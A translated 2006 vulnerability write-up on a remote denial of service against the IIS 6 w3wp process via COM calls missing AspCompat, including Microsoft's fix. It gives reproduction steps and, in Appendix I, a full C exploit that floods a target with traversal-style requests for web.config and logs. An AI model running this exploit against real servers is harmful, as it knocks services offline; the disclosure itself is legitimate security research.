文章作者:debasis[AT]hackingspirits.com

译者注:本文是对06年一著名漏洞的漏洞分析,只因发现过程及漏洞产生机理极有价值,特翻译之,故没有注重其时效性,请各位包涵 :)

厂商:微软公司
MSRC(微软安全响应中心)事件号:MSRC 6367sd
产品信息:IIS Worker Process (w3wp)

1.    产生背景

去年初期,当我对一些运行着asp.net应用程序的站点进行标准攻击测试的时候,我碰到了预料之外的情况:针对工作进程(w3wp)的一个远程DoS。由于成功的几率是随机的,我并没有怎么在意。但是当我在我的家庭实验室进行更多的测试之后,我能够让w3wp进程崩溃再次发生(接近十分之七的成功几率)。这就是我想调试和更深入研究它的原因。

在与MSRC一起为这个问题奋斗一个多月以后,终于作出了结论:崩溃无法人为发生,并且它是由于对asp.net应用程序中的COM或者COM+的不正确调用造成的。程序开发者经常忘记使用“AspCompat”指示,然而当在asp.net中调用COM组件时这又是需要的。下面的链接提供的是“AspCompat”的适当用法:
http://msdn2.microsoft.com/en-us/library/zwk9h2kb.aspx
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/dbgch04.asp

附加信息可以在下面的链接中找到:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/SecNetch08.asp
http://msdn.microsoft.com/library/default.asp?url=/library/enus/
cpguide/html/cpconCOMComponentCompatibility.asp?frame=true&hidetoc=true
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnaspp/html/monitor_perf.asp

2.    问题描述

缺少“AspCompat”指示会导致网站应用程序的不稳定以及性能上的锐减,仅仅一个简单的网络服务器的负荷增长就能让它崩溃。

如果对服务器上调用COM组件和受限文件(在应用程序目录的路径内部)的某一URL的同时请求数达到了100-300个,那么工作进程就会处理失败或是立即崩溃。URL应该跟下面给出的类似:
http://<Domain>/asp-app\web.config
http://<Domain>/asp-app\default.aspx (调用任何COM组件的示例链接)
http://<Domain>/asp-app\..\aspapplogs/log1.log

3.    测试环境

测试已经在如下平台成功:
Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1
Windows XP Professional Edition + IIS 6.0 + .NET Framework 1.1

4.    理论依据

a.    找一些URL,并做成列表形式,它们指向运行着asp.net应用程序的网站服务器上的受限文件,同时那些链接都调用了任何一个COM组件。
例如:
http://<Domain>/asp-app\web.config
http://<Domain>/asp-app\user-screen.aspx (链接到COM组件的调用)
http://<Domain>/asp-app\..\aspapplogs/log1.log
[…]

b.    这个情况可以通过使用一个exploit代码再次发生,也可以通过使用fiddler(一个工具软件)来构造和重现同时的http请求。Exploit代码w3wp-dos.c可以在附录I中找到。记得修改里面的链接为你的asp.net路径和链接。

c. 假如你想使用fiddler来代替exploit代码,那么就运行fiddler => 转到‘Request Builder’(请求构造)=> 输入前面列表中的任意一个URL,并且设置适当的‘Request Headers’
  (请求头部)。作者强烈推荐使用IE。现在发送连续的GET请求到服务器,保持“Return Key”(返回键)被一直按住,直到那个URL有100-300个http GET / POST请求。同样地,对列表中的所有URL重复这个过程。截图III-a中可以看到更多的细节:
图III-a
 
d.现在试着访问那些调用COM组件的asp.net应用程序的链接。如果攻击成功,w3wp.exe就会产生一个无效的服务并随之崩溃。然后,你就会看见服务器端终止的一个错误消息,类似截图III-b
图III-b

除非网站管理员手工点击任一选项终止工作进程,否则工作进程将不会再处理对应用程序的其他请求。如果管理员选择点击选项,工作进程就会自动重启。假如“取消”按钮被点击,一个类似截图III-c的提示框会突然出现。

图III-c

也可以通过事件查看器来查看详细信息,类似图III-d

图III-d

5.    解决方案(微软公司提供)

ASP内在对象(像STA COM组件)默认在ASP.NET中没有被激活,线程池默认是一个MTA(multithreaded apartment)。因此,为了有效使用这些默认的COM组件,@page指示符中的如下属性应该被明确地改变:
<%@Page ASPCompat="true" %>

这个指示使ASP.NET提供对ASP内在对象的访问,同时把线程池改为STA。在增加了这个指示之后,问题得到了解决。

附录I

// w3wp-dos.c //

Copy code

#include "stdafx.h"
#pragma comment (lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
char * pszUnauthLinks(DWORD);
#define portno 80
int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount = 0, dwCounter;
int iCnt = 0, iCount = 0;
SOCKET conn_socket;
WSADATA wsaData;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr;
if (argc<2)
{
printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");
printf("\nUsage: w3wpdos <HostIP / HostName> \n\n");
exit(0);
}
int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf( "WSAStartup failed with error %d\n",iRetval);
WSACleanup(); exit(1); }
// 对提供的参数长度进行检测
if (strlen(argv[1]) > MAX_PATH) {
printf( "Too long parameter ....\n"); exit(1); }
else
strcpy(pszTargetHost, argv[1]);
// 解决主机名到IP地址间的转换,反之亦然
if(isalpha(pszTargetHost[0]))
phostent = gethostbyname(pszTargetHost);
else {
uAddr = inet_addr(pszTargetHost);
phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);
if(phostent != NULL)
wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf( "Failed to resolve IP address, please provide host
name.\n" );
WSACleanup();
exit(1);
}
}
if (phostent == NULL ) {
printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost,
WSAGetLastError());
WSACleanup();
printf( "Target host seems to be down or the program failed to resolve
host name.");
printf( "Press enter to exit" );
getchar();
exit(1); }
// 初始化Socket信息
memset(&sin,0,sizeof(sin));
memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin.sin_family = phostent->h_addrtype;
sin.sin_port = htons(portno);
conn_socket = socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf("Error Opening socket: Error %d\n", WSAGetLastError());
WSACleanup();
return -1;}
printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");
printf("[+] Host name: %s\n", pszTargetHost);
wsprintf( szWorkBuff, "%u.%u.%u.%u",
sin.sin_addr.S_un.S_un_b.s_b1,
sin.sin_addr.S_un.S_un_b.s_b2,
sin.sin_addr.S_un.S_un_b.s_b3,
sin.sin_addr.S_un.S_un_b.s_b4 );
printf("[+] Host IP: %s\n", szWorkBuff);
closesocket(conn_socket);
printf("[+] Ready to generate requests\n");
/*计数应由 szBuff array数组中的链接数决定*/
while(dwCount++ < 10)
{
conn_socket = socket(AF_INET, SOCK_STREAM, 0);
memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent-
>h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(portno);
if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror("connect");
printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send(conn_socket,pszUnauthLinks(dwCount),
strlen(pszUnauthLinks(dwCount)),0);
char *szBuffer = new char[256];
recv(conn_socket, szBuffer, 256, 0);
printf(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf("\n");
closesocket(conn_socket);
}
return 1;
}
char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR *szGetReqH = new char[1024];
/*修改你的asp.net链接下面的链接列表,列表应该支持调用任何COM组件的链接,以及其他在asp.net应用程序路径下的受限链接. */
szBuff[1] = "GET /aspnet-app\\web.config";
szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs";
szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx";
szBuff[4] = "GET /aspnet-app\\users/config.aspx";
szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx"; //
szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx"; // Links of
pages referring
szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx"; // COM
components.
szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx"; //
szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx"; //
/* 准备目标链接的GET请求*/
strcpy(szGetReqH, szBuff[dwIndex]);
strcat(szGetReqH, " HTTP/1.1\r\n");
strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n");
strcat(szGetReqH, "Accept-Language: en-us\r\n");
strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n");
strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows
NT 5.0; .NET CLR 1.1.4322)\r\n");
strcat(szGetReqH, "Host: \r\n" );
strcat(szGetReqH, "Connection: Keep-Alive\r\n" );
/* 插入一个有效的Session Cookie和ASPVIEWSTATE以获得更多有效结果*/
strcat(szGetReqH, "Cookie:
ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" );
strcat(szGetReqH,
".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F74
4632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76A
C713AF05B971D\r\n\r\n" );
//返回szBuff[dwIndex];
return szGetReqH;
}

源代码文件:点击下载

转载于:https://www.cnblogs.com/ljpbin/archive/2008/01/26/1054282.html

ASP.NET中对STA COM组件的不正确调用产生的w3wp远程DoS相关推荐

  1. ASP.NET中分步骤向导组件Wizard组件的使用

    场景 ASP.NET中新建Web网站并部署到IIS上(详细图文教程): https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/107199 ...

  2. ASP页面中访问基于.net的COM组件[转]

    在我的编程实践中,需要从.NET的Web Form页面传递加密的字符串信息(如用户名和密码等)到ASP页面,然后在该页面对该加密字符串进行解密.如果传递的不是加密串,通过GET或POST的方式就可以直 ...

  3. ASP.NET中WebForm组件CheckBoxList编程

    作者:马金虎  来自:yesky CheckBox选择组件是一个程序中都经常的组件.在程序设计中使用到该组件,一般都不会只使用到一个,往往是以多个此类组件的形式出现的.在ASP.NET页面中如果要使用 ...

  4. asp.net操作office时报错“检索 COM 类工厂中 CLSID 为 {...} 的组件时失败,原因是出现以下错误: 80070005。”

    在asp.net操作office组件时,会报错"检索 COM 类工厂中 CLSID 为 {...} 的组件时失败,原因是出现以下错误: 80070005.",由于office组件是 ...

  5. 组件开发之ASP.NET中集成资源文件的服务器端控件开发

    一个ASP.net中的控件,往往要使用到一些图片.CSS和脚本JS文件等等,如果要求用户把这些资源文件自己复制到网站目录中,往往让人感觉很麻烦很不专业.如果能够在控件中包含这些资源,能够自动引用,不单 ...

  6. 搜集《ASP.NET中常用的26个优化性能方法》

    1. 数据库访问性能优化 a.数据库的连接和关闭 访问数据库资源需要创建连接.打开连接和关闭连接几个操作.这些过程需要多次与数据库交换信息以通过身份验证,比较耗费服务器资源.ASP.NET中提供了连接 ...

  7. 避免单线程单元 (STA) COM 组件

    默认情况下,ASP.NET 不允许任何 STA COM 组件在页面内运行.若要运行它们,必须在 .aspx 文件内将 ASPCompat=true 属性包含在 @ Page 指令中.这样就将执行用的线 ...

  8. [转帖]ASP.NET中常用的优化性能的方法

    ASP.NET中常用的优化性能的方法(转贴,Icyer收集整理) 1.       数据库访问性能优化     数据库的连接和关闭 访问数据库资源需要创建连接.打开连接和关闭连接几个操作.这些过程需要 ...

  9. ASP.NET中常用的26个优化性能方法(转)

    1. 数据库访问性能优化 数据库的连接和关闭 访问数据库资源需要创建连接.打开连接和关闭连接几个操作.这些过程需要多次与数据库交换信息以通过身份验证,比较耗费服务器资源.ASP.NET中提供了连接池( ...

最新文章

  1. 单片机红绿灯电路灯有几种_LED路灯电源防雷与设计方案
  2. 工作三年,我没给家里一分钱,还把家里掏空了
  3. linux下安装mysql57_Linux——CentOS7之mysql5.7安装与配置
  4. 三款ActiveX图表控件对比评测 TeeChart VS ProEssentials…
  5. npm ERR! cb() never called!
  6. 5G领域最权威绿宝书迎来中文版啦!
  7. c++ 删除vector里面的第一个元素_C++提高第三篇2 STL常用容器 vector
  8. 你知道怎么用Python发送邮件吗?
  9. linux 编译ffmpeg 支持x264, x265
  10. 金九银十招聘季,程序员跳槽BAT最新面经
  11. 前端向后台发送请求有几种方式?
  12. 含本土测量软件的Q-Vision+Kvaser CAN/CAN FD/LIN总线解决方案
  13. 【航模】凤凰模拟器安装
  14. SNMP 模拟器 vxsnmpsimulator 使用方法
  15. Astar算法的Java实现 (其他很多都是错的,没有计入曼哈顿值的代价)
  16. 使用注册表删除没用的DLL文件
  17. java info()方法_Java中的提供者getInfo()方法
  18. 机器学习的算法分类、优劣比较和选择
  19. PointGet的一生
  20. 学生做国际义工:时尚背后有多少坑

热门文章

  1. Android中使用AsyncTask实现文件下载以及进度更新提示
  2. vs2010中自动缩进模式由tab改为space
  3. WebView点击图片看大图效果
  4. golang(2):beego 环境搭建
  5. android支付宝支付开发过程
  6. MIFARE系列6《射频卡与读写器的通讯》
  7. MongoDB基本用法
  8. margin-top失效的解决办法
  9. 防止表格中的单行按钮被频繁点击,前端实例讲解~
  10. Linux驱动(4)--Linux的启动流程